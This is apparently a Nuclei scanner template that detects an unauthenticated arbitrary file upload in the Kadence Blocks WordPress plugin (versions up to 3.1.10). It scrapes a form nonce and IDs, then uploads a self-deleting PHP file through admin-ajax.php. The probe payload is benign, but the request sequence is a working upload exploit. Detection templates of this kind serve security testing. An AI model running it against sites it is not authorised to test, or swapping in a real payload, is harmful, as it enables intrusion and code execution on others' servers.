wp-kadence-blocks-rce: WordPress Gutenberg Blocks Plugin <= 3.1.10 - Arbitrary File Upload

id: wp-kadence-blocks-rce

info:
  name: WordPress Gutenberg Blocks Plugin <= 3.1.10 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    The Kadence Blocks for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the process_fields function in versions up to, and including, 3.1.10. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  remediation: Fixed in 3.1.11
  reference:
    - https://wordpress.org/plugins/kadence-blocks/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kadence-blocks/kadence-blocks-3110-unauthenticated-arbitrary-file-upload
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/kadence-blocks/"
  tags: rce,wpscan,wordpress,wp-plugin,wp,kadence-blocks,fileupload,intrusive,vuln

variables:
  str: "{{to_lower(rand_text_alpha(5))}}"
  email: "{{rand_base(8)}}@{{rand_base(5)}}.com"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "wp-kadence-blocks-rce"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------8779924633391890046425977712

        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="fieldfb0b94-aa"

        {{str}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="fieldec6f26-c7"

        {{email}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="fieldc9b894-4c"

        {{str}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="field983473-0a"; filename="{{filename}}.php"
        Content-Type: application/x-php

        GIF89a

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="_kb_adv_form_post_id"

        {{post_id}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="action"

        kb_process_advanced_form_submit
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="_kb_adv_form_id"

        {{form_id}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="_kb_form_verify"

        {{nonce}}
        -----------------------------8779924633391890046425977712--

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "application/json")'
          - 'contains_all(body_2, "Submission Success, Thanks for getting in touch!", "success\":true")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'kb_adv_form_params\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
        internal: true

      - type: regex
        name: form_id
        part: body_1
        group: 1
        regex:
          - 'name="_kb_adv_form_id" value="([^"]*)"'
        internal: true

      - type: regex
        name: post_id
        part: body_1
        group: 1
        regex:
          - 'name="_kb_adv_form_post_id" value="([^"]*)"'
        internal: true
# digest: 4b0a00483046022100fc39a77bb38a64d99e1453663516ace922ad62a40c5d789c92dbc61f212a18f0022100adbbf24fd0563c024d698695b9a08662a0db2d71b235a5fb935213f472793c68:922c64590222798bb761d5b6d8e72950